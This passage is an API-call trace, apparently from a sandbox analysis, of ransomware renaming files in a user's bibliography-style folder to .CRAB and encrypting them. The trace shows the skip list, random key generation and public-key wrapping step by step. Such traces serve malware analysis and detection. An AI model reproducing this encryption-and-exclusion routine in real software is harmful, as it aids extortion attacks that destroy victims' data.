	[0110.374] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.375] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.375] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.375] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.375] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.376] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.376] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.376] lstrcmpW (lpString1="GostName.XSL", lpString2=".") returned 1
	[0110.376] lstrcmpW (lpString1="GostName.XSL", lpString2="..") returned 1
	[0110.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostName.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL"
	[0110.376] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.376] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79
	[0110.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79
	[0110.377] lstrlenW (lpString=".XSL") returned 4
	[0110.377] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.377] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.377] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79
	[0110.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="desktop.ini") returned 1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="autorun.inf") returned 1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="ntuser.dat") returned -1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="iconcache.db") returned -1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="bootsect.bak") returned 1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="boot.ini") returned 1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="ntuser.dat.log") returned -1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="thumbs.db") returned -1
	[0110.378] lstrcmpiW (lpString1="GostName.XSL", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.378] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.379] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB") returned 84
	[0110.379] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl")) returned 0x20
	[0110.381] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL", dwFileAttributes=0x20) returned 1
	[0110.381] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl.crab")) returned 1
	[0110.382] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.383] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB"
	[0110.383] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB.CRAB"
	[0110.383] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e6b0) returned 1
	[0110.384] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.384] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.385] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.385] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.385] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0110.385] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.385] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6eb78) returned 1
	[0110.386] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.387] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.387] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.387] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0110.387] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.387] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.387] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.388] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0110.388] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7430) returned 1
	[0110.389] CryptGetKeyParam (in: hKey=0xda7430, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.389] CryptEncrypt (in: hKey=0xda7430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.389] GetLastError () returned 0x0
	[0110.389] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.389] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0110.390] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6e70) returned 1
	[0110.390] CryptGetKeyParam (in: hKey=0xda6e70, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.390] CryptEncrypt (in: hKey=0xda6e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.390] GetLastError () returned 0x0
	[0110.390] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0110.390] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.391] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.391] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.392] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x3e966, lpOverlapped=0x0) returned 1
	[0110.428] VirtualAlloc (lpAddress=0x0, dwSize=0x3e970, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.432] VirtualAlloc (lpAddress=0x0, dwSize=0x3e970, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0110.442] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.444] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffc169a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.444] WriteFile (in: hFile=0x3f8, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x3e970, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x314a9bc*=0x3e970, lpOverlapped=0x0) returned 1
	[0110.444] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.446] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.449] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.449] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.449] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.449] CloseHandle (hObject=0x3f8) returned 1
	[0110.454] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.455] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.455] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.455] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.455] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.456] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.456] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.456] lstrcmpW (lpString1="GostTitle.XSL", lpString2=".") returned 1
	[0110.456] lstrcmpW (lpString1="GostTitle.XSL", lpString2="..") returned 1
	[0110.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostTitle.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL"
	[0110.456] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.456] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80
	[0110.456] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80
	[0110.456] lstrlenW (lpString=".XSL") returned 4
	[0110.456] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.457] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.457] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.457] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80
	[0110.457] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="desktop.ini") returned 1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="autorun.inf") returned 1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="ntuser.dat") returned -1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="iconcache.db") returned -1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="bootsect.bak") returned 1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="boot.ini") returned 1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="ntuser.dat.log") returned -1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="thumbs.db") returned -1
	[0110.457] lstrcmpiW (lpString1="GostTitle.XSL", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.457] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.458] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB") returned 85
	[0110.458] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl")) returned 0x20
	[0110.458] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL", dwFileAttributes=0x20) returned 1
	[0110.458] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl.crab")) returned 1
	[0110.459] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.459] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB"
	[0110.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB.CRAB"
	[0110.459] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0110.460] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.460] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.460] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.460] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.461] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.461] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.461] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6eb78) returned 1
	[0110.461] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.462] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.462] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.462] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0110.462] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.462] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.462] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.463] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.463] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6cb0) returned 1
	[0110.463] CryptGetKeyParam (in: hKey=0xda6cb0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.463] CryptEncrypt (in: hKey=0xda6cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.463] GetLastError () returned 0x0
	[0110.463] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.463] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.464] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda71f0) returned 1
	[0110.464] CryptGetKeyParam (in: hKey=0xda71f0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.464] CryptEncrypt (in: hKey=0xda71f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.464] GetLastError () returned 0x0
	[0110.464] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.464] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.465] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.465] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.465] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x3d639, lpOverlapped=0x0) returned 1
	[0110.483] VirtualAlloc (lpAddress=0x0, dwSize=0x3d640, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.487] VirtualAlloc (lpAddress=0x0, dwSize=0x3d640, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0110.493] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.494] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffc29c7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.494] WriteFile (in: hFile=0x3f8, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x3d640, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x314a9bc*=0x3d640, lpOverlapped=0x0) returned 1
	[0110.495] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.496] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.499] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.500] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.500] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.500] CloseHandle (hObject=0x3f8) returned 1
	[0110.504] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.504] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.505] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.505] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.505] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.505] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.506] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.506] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2=".") returned 1
	[0110.506] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="..") returned 1
	[0110.506] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="HarvardAnglia2008OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl"
	[0110.506] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.506] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100
	[0110.507] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100
	[0110.507] lstrlenW (lpString=".xsl") returned 4
	[0110.507] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.507] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xsl ") returned 5
	[0110.507] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.507] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100
	[0110.507] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="desktop.ini") returned 1
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="autorun.inf") returned 1
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="ntuser.dat") returned -1
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="iconcache.db") returned -1
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="bootsect.bak") returned 1
